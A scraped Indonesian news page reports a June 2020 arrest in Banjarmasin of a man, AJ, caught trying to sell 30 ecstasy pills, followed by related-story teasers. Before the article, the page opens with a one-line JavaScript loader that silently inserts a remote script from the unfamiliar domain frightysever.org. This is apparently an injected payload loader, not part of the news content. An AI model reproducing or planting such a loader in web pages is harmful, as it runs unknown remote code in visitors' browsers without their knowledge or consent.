(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Seorang pria berinisial AJ (38), warga Jalan Prona I, Pemurus Baru, Banjarmasin, diringkus Satresnarkoba Polresta Banjarmasin pada Kamis (4/6/2020) siang sekitar pukul 11.35 Wita. Dia ditangkap saat saat hendak melakukan transaksi ineks di Jalan Gerilya Kelayan Timur, Banjarmasin.
Kasat Reserse Narkoba Polresta Banjarmasin, Kompol Wahyu Hidayat SIK mengatakan, AJ memang sudah lama menjadi terget. “Ketika dia mau melakukan transaksi langsung diringkus anggota,” ucap Kompol Wahyu, Minggu (7/6/2020) siang.
Ia membeberkan, pada saat penangkapan, AJ sempat membuang barang bukti berupa pil ineks yang akan dijualnya untuk menghilangkan jejak. Namun petugas yang melihat berhasil menemukan barang haram tersebut. “Barang bukti yang berhasil kita amankan dari tersangka berjumlah 30 butir pil ekstasi jenis ineks bewarna cokelat muda dengan bentuk batman,” ungkapnya.
Kendati sempat membuang barang bukti, pelaku AJ akhirnya mengakui puluhan pil batman tersebut merupakan miliknya. Ia pun ditetapkan sebagai tersangka. Saat ini AJ yang kesehariannya bekerja sebagai pedagang itu masih menjalani proses pemeriksaan di ruang penyidik.
Dari hasil pemeriksaan sementara, total barang bukti yang diamankan dari tersangka dengan bersih bersih 7,85 gram. Akibat kepemilikan pil ineks tersebut, AJ dikenakan Pasal 112 ayat (2) Undang-undang Nomor 35 Tahun 2009 Tentang Narkotika dengan ancaman minimal 5 tahun penjara. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More
KANALKALIMANTAN.COM, PARINGIN – Pekan pertama masa pemulihan pascabanjir di Kabupaten Balangan, sejumlah perbaikan sudah mulai… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga binaan Rumah Tahanan Negara (Rutan) Kelas II B Kapuas berkumpul… Read More
This website uses cookies.